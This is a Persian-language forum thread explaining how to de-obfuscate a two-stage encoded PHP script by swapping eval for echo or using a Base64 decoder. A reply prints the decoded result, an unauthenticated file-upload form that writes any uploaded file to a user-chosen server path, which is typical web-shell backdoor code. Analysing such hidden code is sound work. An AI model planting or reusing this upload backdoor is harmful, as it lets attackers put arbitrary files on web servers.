میبینن آخرین نسخه هستا هک نمیشه ولی بازم تست میکننآقا رضا میشه بگید چجوری دیکد میکنید ؟
میبینن آخرین نسخه هستا هک نمیشه ولی بازم تست میکننآقا رضا میشه بگید چجوری دیکد میکنید ؟
obfuscate شدس ، بستگي داره تا چه حد با php آشنا باشيد تا بتونيد ديكد كنيد. اين كد دو مرحله كد شده بود ، كه كافي بود در هر مرحله جاي eval به يك متغير نسبت بديد و echo كنيد (يا روش مشابه مثل ذخيره در فايل)
بعضي روش هاي obfuscate پيچيده تر هستند و به اين راحتي نيست ، بعضي كه شناخته شدن رو ميشه با نرم افزار de obfuscate كرد
البته بدون نیاز به دانش برنامه نویسی هم میشه!
Base 64 Decoder
در 2 مرحله کد بدست میاد:
کد PHP:$docr = $_SERVER['DOCUMENT_ROOT'];
echo <<<HTML
<table><form enctype="multipart/form-data" action="$self" method="POST">
<input type="hidden" name="ac" value="upload">
<tr><td width="48"><font size="1">Your File: </font> </td>
<td><input size="48" name="file" type="file" ></td></tr>
<tr><td width="48"><font size="1">Upload Dir: </font></td><td>
<input size="48" value="$docr/" name="path" type="text" >
<input type="submit" value="Upload"></td></form></table>
$tend
HTML;
if (isset($_POST['path'])){
$uploadfile = $_POST['path'].$_FILES['file']['name'];
if ($_POST['path']==""){$uploadfile = $_FILES['file']['name'];}
if (copy($_FILES['file']['tmp_name'], $uploadfile)) {
echo "File uploaded to : $uploadfile\n";
echo "- Size : " .$_FILES['file']['size']. "\n";
} else {print "Error ' Upload File :\n";}}
در حال حاضر 1 کاربر در حال مشاهده این موضوع است. (0 کاربران و 1 مهمان ها)